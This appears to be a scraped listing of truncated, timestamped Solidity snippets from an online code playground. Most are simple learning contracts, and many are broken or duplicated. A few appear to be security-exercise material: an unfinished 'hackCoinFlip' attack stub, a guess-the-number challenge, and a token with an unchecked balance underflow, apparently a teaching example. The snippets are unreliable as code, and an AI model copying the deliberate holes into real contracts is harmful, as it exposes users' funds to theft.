//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 14, 2021 13:17:34 UTC
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract L {
    bytes public letters = 'abcdefghijklmnopqrstuvwxyz';
    
    function getIdx(uint x) private view returns (bytes32 bytedLetter) {
        return letters[x];
    }
    
    function bytes32ToString(bytes32 _bytes32) private pure returns (string memory) {
        uint8 i = 0;
        while(i < 32 && _bytes32[i] != 0) {
            i++;
        }
        bytes memory bytesArray = new bytes(i);
        for (i = 0; i < 32 && _bytes32[i] != 0; i++) {
            bytesArray[i] = _bytes32[i];
        }
        return string(bytesArray);
    }
    
    function getChar(uint x) public view returns (string memory letter) {
        return bytes32ToString(getIdx(x));
    }
Sep 12, 2021 00:58:12 UTC
contract hackCoinFlip {
    CoinFlip public originalContract = CoinFlip(0x473985426435A9A348488F926b51daa556B7383B); 
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function hackFlip(bool _guess) public {
        //TODO
    }
Sep 11, 2021 13:17:32 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract Test {

  struct Person {
    string name;
    uint[3] numbers;
  }

  Person[] public persons;

  function test () public {
    Person memory x;
    x.name = "Asd";
    x.numbers = [uint(1),2,3];
    persons.push(x);
  }
Sep 11, 2021 09:18:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }
  function hexStringArray(String s){
    
  }

  uint value;
Sep 11, 2021 08:39:27 UTC
//
// GuessToWin.solpp
//
// Simple contract allowing anyone to guess secret passwords. If they guess any right, they
// will be awarded an amount of Vite based on the amount funded to the contract.
//
// Contract initially has no rewards balances stored. Any user can create rewards for a guess
// by calling the Fund function and providing the appropriate hash of the secret guess they
// would like to award, along with a patment of the amount of Vite they want to fund the award with.
//
// The hash of the guesses can be generated via the shell command:
// echo -n YOURSECRETPASSWORD | b2sum -l 256
//
// Guesses are submitted by sending a string of the guess to the Guess function. Correct
// guessers are awarded the entire fund for that hash/guess pair
//
// Warning: If you send funds with a hash value of an unknown string, those funds will be
// permanently locked in the contract! Also be warned that all guesses/hashes are logged
// into the ledger, so testing a particular hash/guess combination permanently re
Sep 10, 2021 20:46:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 10, 2021 19:13:25 UTC
pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustAmountForDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   
Sep 10, 2021 09:28:35 UTC
pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustForAmountDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   
Sep 10, 2021 09:26:50 UTC
pragma solidity >=0.8.0 <0.9.0; 

import "./libraries/SafeMath.sol";

library Utils {

    function adjustForDecimals(uint currentDecimals, uint targetDecimals, uint amount)  internal pure returns(uint256)
    {
        uint diffDecimals = currentDecimals - targetDecimals;
        
        if(currentDecimals > targetDecimals) {
            amount = amount.div( (uint(10)**diffDecimals) );
        }
        else if(currentDecimals < targetDecimals) {
            amount = amount.mul( (uint(10)**diffDecimals) );
        }

        return amount;
    }
   
Sep 10, 2021 09:25:14 UTC
pragma solidity ^0.7.1;
pragma experimental ABIEncoderV2;

contract Bio {
	string public name = "Bio";

	address public owner;

	struct UsernameReservation{
		string username; 
		uint256 count; 
		bool exists;
	}
	mapping (string => UsernameReservation) usernameCount;

	struct Username {
		string username;
		uint256 issue;
	}
	mapping (address => Username[]) walletUsernames;
	mapping (string => address) usernameOwnership;

	struct UserBio {
		string description;
		string twitterUsername;
		string location;
	}
	mapping (string => UserBio) bios;

	constructor() {
		owner = msg.sender;
	}

	/**
		START Helpers
	 */
	 function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
        if (_i == 0) {
            return "0";
        }
        uint j = _i;
        uint len;
        while (j != 0) {
            len++;
            j /= 10;
        }
        bytes memory bstr = new bytes(len);
        uint k = len;
        while (_i != 0) {
            k = k-1;
            uint8 temp = (48 + uint8(
Sep 10, 2021 03:27:50 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set( _value) public {
    value = _value;
  }

  function get() public constant returns () {
    return value;
  }

   value;
Sep 09, 2021 06:56:58 UTC
pragma solidity ^0.4.21;

contract GuessTheSecretNumberChallenge {
    bytes32 answerHash = 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365;

    function GuessTheSecretNumberChallenge() public payable {
        require(msg.value == 1 ether);
    }
    
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);

        if (keccak256(n) == answerHash) {
            msg.sender.transfer(2 ether);
        }
    }
Sep 07, 2021 13:56:48 UTC
// SPDX-License-Identifier: MIT

pragma solidity >=0.4.22 <0.9.0;

contract Vault {
    address admin;
    address factory;
    
    /********* CONSTRUCTOR *********/
    
    /**
    Constructor to assign the admin address
    **/
    constructor() {
        admin = msg.sender;
    }
    
    
    /********* MODIFIERS *********/
    
    /**
    Only the admin is given the access
    **/
    modifier onlyAdmin(){
        require(msg.sender == admin,"only Admin has the access");
        _;
    }
    
    /**
    Only the factory contract is given the access
    **/
    modifier onlyFactory(){
        require(msg.sender == factory,"only Factory Contract has the access");
        _;
    }


    /********* MAPPING *********/
    
    /**
    IP address of a sensor is recorded corresponding to its address
    **/
    mapping( address => string ) SensorDetails;
    
    
    /********* FUNCTIONS *********/
    
    /**
    Set the factory address by the admin
    **/
    
    function setFactory(address _factory) 
Sep 07, 2021 10:51:04 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 07, 2021 05:26:27 UTC
// SPDX-License-Identifier: GPL-3.0
pragma solidity  >=0.8.0 <0.9.0;
/// @title Parking ticket contract.

contract ParkingTicket {
    string licenseplate;
    uint balance;
    uint public created;
    address payable propertyowner;


    // Events
    event Paidfully(address from, address to, uint amount);

    // Errors
    error OverPaid(address payer, uint available);
    
    constructor(
        uint price,
        string memory _licenseplate,
        address payable _propertyowner
    ) {
        balance = price;
        licenseplate = _licenseplate;
        created = block.timestamp;
        propertyowner = _propertyowner;
    }

    
    function payoff(address sender, uint amount) public {
        if(amount > balance){
            revert OverPaid({
                payer: sender,
                available: balance
            });
        }
        
        balance -= amount;
        
        if(balance == 0) {
            emit Paidfully( sender, propertyowner, amount);
        }
    }
    
    
    
Sep 06, 2021 18:38:09 UTC
/**
 *Submitted for verification at Etherscan.io on 2021-09-01
*/

// SPDX-License-Identifier: Unlicense

/*

    Synthetic Loot
    
    This contract creates a "virtual NFT" of Loot based
    on a given wallet address. 
    
    Because the wallet address is used as the deterministic 
    seed, there can only be one Loot bag per wallet. 
    
    Because it's not a real NFT, there is no 
    minting, transferability, etc.
    
    Creators building on top of Loot can choose to recognize 
    Synthetic Loot as a way to allow a wider range of 
    adventurers to participate in the ecosystem, while
    still being able to differentiate between 
    "original" Loot and Synthetic Loot.
    
    Anyone with an Ethereum wallet has Synthetic Loot.
    
    -----
    
    Also optionally returns data in LootComponents format:
    
    Call weaponComponents(), chestComponents(), etc. to get 
    an array of attributes that correspond to the item. 
    
    The return format is:
    
    uint256[5] =>
        [0] = It
Sep 06, 2021 16:53:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 03, 2021 08:11:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;


contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Sep 01, 2021 23:55:46 UTC
pragma solidity ^0.7.0;
contract SimpleStore {
      struct VaultRegistry {
        IERC20[] tokens;
        uint block;
        uint256 index;
    }

    mapping (address => VaultRegistry) private _vaultInfo;
    address[] private _vaultIndex;

   function getVaultsForToken(IERC20 _token) public view returns (address[] memory) {
        uint256 curResults = 0;
        uint256 numResults = 0;
 
        for (uint256 vid = 0; vid < _vaultIndex.length; vid++) {
            for (uint t = 0; t < _vaultInfo[_vaultIndex[vid]].tokens.length; t++) {
                if (_vaultInfo[_vaultIndex[vid]].tokens[t] == _token) {
                    numResults++;
                }
            }
        }
 
        address[] memory vaultResults = new address[](numResults);
        for (uint256 vid = 0; vid < _vaultIndex.length; vid++) {
            for (uint t = 0; t < _vaultInfo[_vaultIndex[vid]].tokens.length; t++) {
                if (_vaultInfo[_vaultIndex[vid]].tokens[t] == _token) {
                    vaultResults[curRes
Sep 01, 2021 15:16:52 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

  function getAction(uint256 tokenId) public view returns (string memory) {
        uint256 rand = random(string(toString(tokenId)));
        if (rand % 21 == 0) {
            return rareActions[rand % rareActions.length];
        } else {
            return actions[rand % actions.length];
        }
  }

  function random(string memory input) internal pure returns (uint256) {
        return uint256(keccak256(abi.encodePacked(input)));
  }
Sep 01, 2021 10:16:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.18;
contract MyContract{
    Person[] public people;
struct Person{
string _firstname;
string _lastname;
}
function addPerson (string memory _firstname,string memory _lastname)public {
    people.push(Person(_firstname , _lastname));
}
Aug 31, 2021 19:40:58 UTC
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;


contract MintNFTX is Context {

    NFTX public _nftxVault; 

    constructor(address _vaultAddress){
        _nftxVault = NFTX(_vaultAddress);
    }

    function _buy(uint256 _tokenId) private {

        //THIS FUNCTION SUCCESSFULLY PURCHASES THE NFT AND IT IS OWNED BY THIS CONTRACT

    }

    function _mintNFTX(uint256 _tokenId) private {

        uint256[] memory nftIds = new uint256[](1);
        nftIds[0] = _tokenId;
        
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;

        console.log("Minting to vault");

        _nftxVault.mint(nftIds, amounts);

        console.log("Minting success");

    }

    function buyAndMint() public payable {

        console.log("begin buyAndDeposit");

        payable(this).transfer(msg.value);
        
        console.log("Balance: %s gwei", address(this).balance);

        //Hard code tokenId for now
        uint256 tokenId = 72522;

        //Buy from NFT contract
        _
Aug 31, 2021 18:15:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.23;

contract MyContract{
    Person[] public people;
}
struct Person
{
    string _firstname;
    string _lastname;
}
function addPerson(string memorry _firstname,string memory _lastname) public{
    people.push();
Aug 31, 2021 12:09:22 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.4.23;

contract MyContract{
    string value;

constructor() public{
value = "myValue";
}

function get()public view returns(string memory ){
return value;
}
function  set(string memory _value) public{
value = _value;
}
Aug 31, 2021 11:42:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.23;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 31, 2021 11:37:40 UTC
pragma solidity ^0.4.0;

contract P2Pcontract {

  //Global Variables
  Borrower[] borrowers; //An array that will hold all of our borrowers 
  uint totalNumBorrowers; //Keep track of the total number of borrowers we have 
  uint borrowerIdCounter; //Keep track of the borrowerIds --> increment everytime we add a new borrower
  Investor[] investors; //An array that will hold all of our investors
  uint totalNumInvestors; //Keep track of the total number of investors that we have
  uint investorIdCounter; //Helps create the investorId so that we can keep track of them


  //Mappings 
  mapping (uint => address) borrowerToOwner; //Lookup borrower address from their id 
  mapping(address => uint) BorrowerAddress2Id; //Lookup borrower id based on their address
  mapping (address => Borrower) borrower; //take an address and get the Borrower struct
  mapping (uint => address) investorToOwner; // take an id from our investors arrray and get the address of the investor
  mapping (address => uint) InvestorAddress2Id; /
Aug 30, 2021 17:18:21 UTC
pragma solidity ^0.4.0;

contract P2Pcontract {

  //Global Variables
  Borrower[] public borrowers; //An array that will hold all of our borrowers 
  uint totalNumBorrowers; //Keep track of the total number of borrowers we have 
  uint borrowerIdCounter; //Keep track of the borrowerIds --> increment everytime we add a new borrower

  //Mappings 
  mapping (uint => address) public borrowerToOwner; //Lookup borrower address from their id 
  mapping(address => uint) public BorrowerAddress2Id; //Lookup borrower id based on their address
  mapping (address => Borrower) public borrower; //take an address and get the Borrower struct
  mapping(address => uint[]) public loansBorrowerHasCreated; //address to list of loan_ids the borrower has created

  //Borrower Struct 
  struct Borrower { 
    address borrowerPublicKey;
    string firstName; 
    string lastName; 
    uint accountBalance; 
    uint numLoans; 
    uint borrowerId; 
    bool EXISTS; 
  }

  //Create a new borrower 
  function createBorrower(string mem
Aug 30, 2021 17:03:54 UTC
pragma solidity ^ 0.4.23;


contract Transfer {
    uint public mainAccount;
    uint public secondAccount;
    constructor(uint a) public {
        mainAccount = a;
    }

    function transfer(uint amount) public{
        require(mainAccount > amount);

        mainAccount -= amount;
        secondAccount += amount;

    }

    function chargeMainAccount(uint amount) public {
        mainAccount += amount;
    }
}
Aug 27, 2021 16:42:59 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract MyERC777Reciever is IERC777Recipient {
  mapping (address=>uint) public balances;
  ERC777 my_erc777;
}
constructor (address my_erc777_address)
  {
    IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24).
      setInterfaceImplementer(address(this),
        keccak256("ERC777TokensRecipient"),
        address(this)
      );
    my_erc777 = ERC777(my_erc777_address);
  }

  function tokensReceived(
      address operator,
      address from,
      address to,
      uint256 amount,
      bytes calldata userData,
      bytes calldata operatorData
    ) override external
  {
    // revert();
  }

  function deposit(uint amount) public
  {
    my_erc777.operatorSend(address(msg.sender), address(this), amount, "", "");
    balances[msg.sender] += amount;
  }

  function retrieveTokens() public
  {
    my_erc777.operatorSend(address(this), address(msg.sender), balances[msg.sender], "", "
Aug 27, 2021 13:36:36 UTC
function transfer(uint _amount, address _dest)
only_with_at_least(_amount) {
    balances[msg.sender] -= _amount;
    balances[_dest] += _amount;
Aug 26, 2021 19:52:00 UTC
modifier only_with_at_least(uint x) {
    if (balances[msg.sender] >= x) _
Aug 26, 2021 19:50:13 UTC
function transfer(uint _amount, address _dest) {
    if (balances[msg.sender] < _amount)
        return;
    balances[msg.sender] -= _amount;
    balances[_dest] += _amount;
Aug 26, 2021 19:47:06 UTC
function transfer(uint _amount, address _dest) {
    if (balances[msg.sender] >= _amount) {
        balances[msg.sender] -= _amount;
        balances[_dest] += _amount;
    }
Aug 26, 2021 19:45:43 UTC
pragma solidity ^0.6.12;

contract Token {

    // The balance of everyone
    mapping (address => uint) public balances;

    // Constructor - we're a millionaire!
    construct Token() {
        balances[msg.sender] = 1000000;
    }
    
    // Transfer `_amount` tokens of ours to `_dest`.
    function transfer(uint _amount, address _dest) {
        balances[msg.sender] -= _amount;
        balances[_dest] += _amount;
    }
Aug 26, 2021 19:42:25 UTC
pragma solidity ^0.6.12;

contract Token {
    // The balance of everyone
    mapping (address => uint) public balances;
    // Constructor - we're a millionaire!
    construct Token() {
        balances[msg.sender] = 1000000;
    }
    // Transfer `_amount` tokens of ours to `_dest`.
    function transfer(uint _amount, address _dest) {
        balances[msg.sender] -= _amount;
        balances[_dest] += _amount;
    }
Aug 26, 2021 19:42:07 UTC
pragma ton-solidity >= 0.43.0;
pragma AbiHeader expire;
pragma AbiHeader time;

import "./interfaces/IJokes.sol";

 
contract Jokes is IJoke {
    string[] public JokesVault;

    // constructor() public {
    //     tvm.accept();
    // }

    
    function setJokes(string joke) public override {
       JokesVault.push(joke);
    }

    function getJokes(uint256 index) public override returns (string) {
        return JokesVault[index];
     }

Aug 26, 2021 13:10:17 UTC
pragma solidity ^0.7.0;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong 
Aug 25, 2021 22:51:33 UTC
function _amountAvailable(address from) internal view returns (uint256) {
    vesting memory vested = _vesting[from];
    uint256 totalBalance = _totalBalanceOf(from);
    if (vested.amount > 0) {
        // vesting applies
        uint256 vestingIndex =
            _vestingDays.findUpperBound(today() - vested.startDate);

        if (vestingIndex < _vestingDays.length) {
            // still in vesting phase
            uint256 vestingBasisPoints = _vestingBasisPoints[vestingIndex];
            uint256 maxAmountAvailable =
                vested.amount.mul(vestingBasisPoints).div(
                    BASIS_POINT_DIVISOR
                );
            uint256 remainingVestedAmount =
                vested.amount.sub(maxAmountAvailable);
            return totalBalance.sub(remainingVestedAmount);
        } else {
            return totalBalance;
        }
    } else {
        return totalBalance;
    }
Aug 25, 2021 13:55:18 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }sssisS
  ADAHAODAS

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 25, 2021 10:52:25 UTC
pragma solidity ^0.5.0;

contract SolidityTest {
   uint storedData; 
   constructor() public{
      storedData = 10;   
   }
   function getResult() public view returns(string memory){
      uint a = 10; 
      uint b = 2;
      uint result = a + b;
      return integerToString(result); 
   }
   function integerToString(uint _i) internal pure 
      returns (string memory) {
      
      if (_i == 0) {
         return "0";
      }
      uint j = _i;
      uint len;
      
      while (j != 0) {
         len++;
         j /= 10;
      }
      bytes memory bstr = new bytes(len);
      uint k = len - 1;
      
      while (_i != 0) { // while loop
         bstr[k--] = byte(uint8(48 + _i % 10));
         _i /= 10;
      }
      return string(bstr);
   }
Aug 25, 2021 03:54:19 UTC
// SPDX-License-Identifier: MIT

pragma solidity 0.8.3;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Strings.sol";

contract MillionDollarRat is ERC721Enumerable, Ownable, ReentrancyGuard {
    using Strings for uint256;

    // emitted by {depositGoldenRatToSewer} on success
    event GoldenRatDeposited(address indexed owner, address indexed sewer);

    // This is the provenance record of all artwork in existence
    string public constant RATS_PROVENANCE = "60f27f7b882a5c8f31453d36f99fa1cc67b3c254934e4f327f66059599cf10e0";

    // opens Apr 29 3pm EST | 1619722800
    uint256 public constant SALE_START_TIMESTAMP = 1619722800;

    // The sale lasts for 21 days
    uint256 public constant REVEAL_TIMESTAMP = SALE_START_TIMESTAMP + 3 weeks;

    // Sale price tiers
    uint256 private constant TIER_1_PRICE = 500000000000000
Aug 24, 2021 17:46:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {

  struct Pool {
    uint a;
    uint b;
    mapping(address => uint) c;
  }

  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    Pool memory p;
    return p.a;
  }

  uint value;
Aug 24, 2021 13:12:09 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(string _value) public {
    value = _value;
  }

  function get() public constant returns (string) {
    return value;
  }

  string value;
Aug 24, 2021 11:15:57 UTC
pragma solidity ^0.4.18;

contract CP {

  mapping (address => string) images; 

  function upload(string memory _imageUrl) public {
    images[msg.sender] = _imageUrl;
  }

  function get() public constant returns (string) {
    return images[msg.sender];
  }
Aug 18, 2021 23:20:02 UTC
pragma solidity ^0.4.18;

contract CP {

  mapping (address => string) images; 

  function upload(string memory _imageUrl) public {

    images[msg.sender] = _imageUrl;
  }

  function get() public constant returns (string) {
    return images[msg.sender];
  }
Aug 18, 2021 23:19:50 UTC
pragma solidity ^0.4.18;

contract CP {

  mapping (address => string) images; 

  function upload(string memory _imageUrl) public {

    images[msg.sender] = _imageUrl;
  }

  function get() public constant returns (string) {
    return images[msg.sender];
  }

  uint value;
Aug 18, 2021 23:19:31 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 18, 2021 23:15:09 UTC
/**
 *Submitted for verification at BscScan.com on 2021-07-19
*/

/**
 *Submitted for verification at BscScan.com on 2021-07-04
*/

/**
 *Submitted for verification at BscScan.com on 2021-06-29
*/

pragma solidity ^0.6.12; 
 
// SPDX-License-Identifier: MIT 
 
interface IERC20 { 
 
    function totalSupply() external view returns (uint256); 
 
    /** 
     * @dev Returns the amount of tokens owned by account. 
     */ 
    function balanceOf(address account) external view returns (uint256); 
 
    /** 
     * @dev Moves amount tokens from the caller's account to recipient. 
     * 
     * Returns a boolean value indicating whether the operation succeeded. 
     * 
     * Emits a {Transfer} event. 
     */ 
    function transfer(address recipient, uint256 amount) external returns (bool); 
 
    /** 
     * @dev Returns the remaining number of tokens that spender will be 
     * allowed to spend on behalf of owner through {transferFrom}. This is 
     * zero by default. 
     * 
     * This value changes when 
Aug 18, 2021 15:02:43 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract UkuliData {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 14, 2021 19:37:42 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.0;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Aug 13, 2021 11:22:41 UTC
pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Contract module w
Aug 12, 2021 15:50:35 UTC
apragma solidity ^0.7.0;

contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint public value;
Aug 09, 2021 01:26:25 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.8.0;
contract Example {
  struct Weather {
    bytes32 temp;
    bytes32 desc;
  }

  Weather[] weatherArray;

  mapping (bytes32 => uint256) requestToIdx;

  function requestWeather(
    bytes32 _jobId, 
    address _oracle
  ) public {
    uint256 fee = 0.1 * 10 ** 18; // whatever the fee is??
    Chainlink.Request memory requestOne = buildChainlinkRequest(_jobId, address(this), this.fulfillTemp.selector);
    Chainlink.Request memory requestTwo = buildChainlinkRequest(_jobId, address(this), this.fulfillDesc.selector);
    requestOne.add("get", "{{endpoint}}");
    requestOne.add("copyPath", "PATH.TO.TEMP");
    requestTwo.add("get", "{{endpoint}}");
    requestTwo.add("copyPath", "PATH.TO.DESC");
    requestIdOne = sendChainlinkRequestTo(_oracle, requestOne, fee);
    requestIdTwo = sendChainlinkRequestTo(_oracle, requestTwo, fee);
    Weather memory weather;
    weatherArray.push(weather);
    reques
Aug 05, 2021 17:36:51 UTC
if(to != owner){
  require(false, "Transfer From Failed");
} else {
  _transfer(from, to, amount, deadline);
Aug 04, 2021 22:42:04 UTC
// SPDX-License-Identifier: MIT

// File: @openzeppelin/contracts/utils/Context.sol

pragma solidity >=0.6.0 <0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

// File: @openzeppelin/contrac
Aug 03, 2021 17:08:07 UTC
// File: contracts/libs/SafeMath.sol

pragma solidity >=0.6.0 <0.8.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: additi
Aug 02, 2021 17:07:51 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:40:54 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:39:11 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with GSN meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * the
Aug 02, 2021 15:32:15 UTC

// SPDX-License-Identifier: MIT

pragma solidity 0.6.12;

/*
 * @dev Provides information about the current execution context, including the
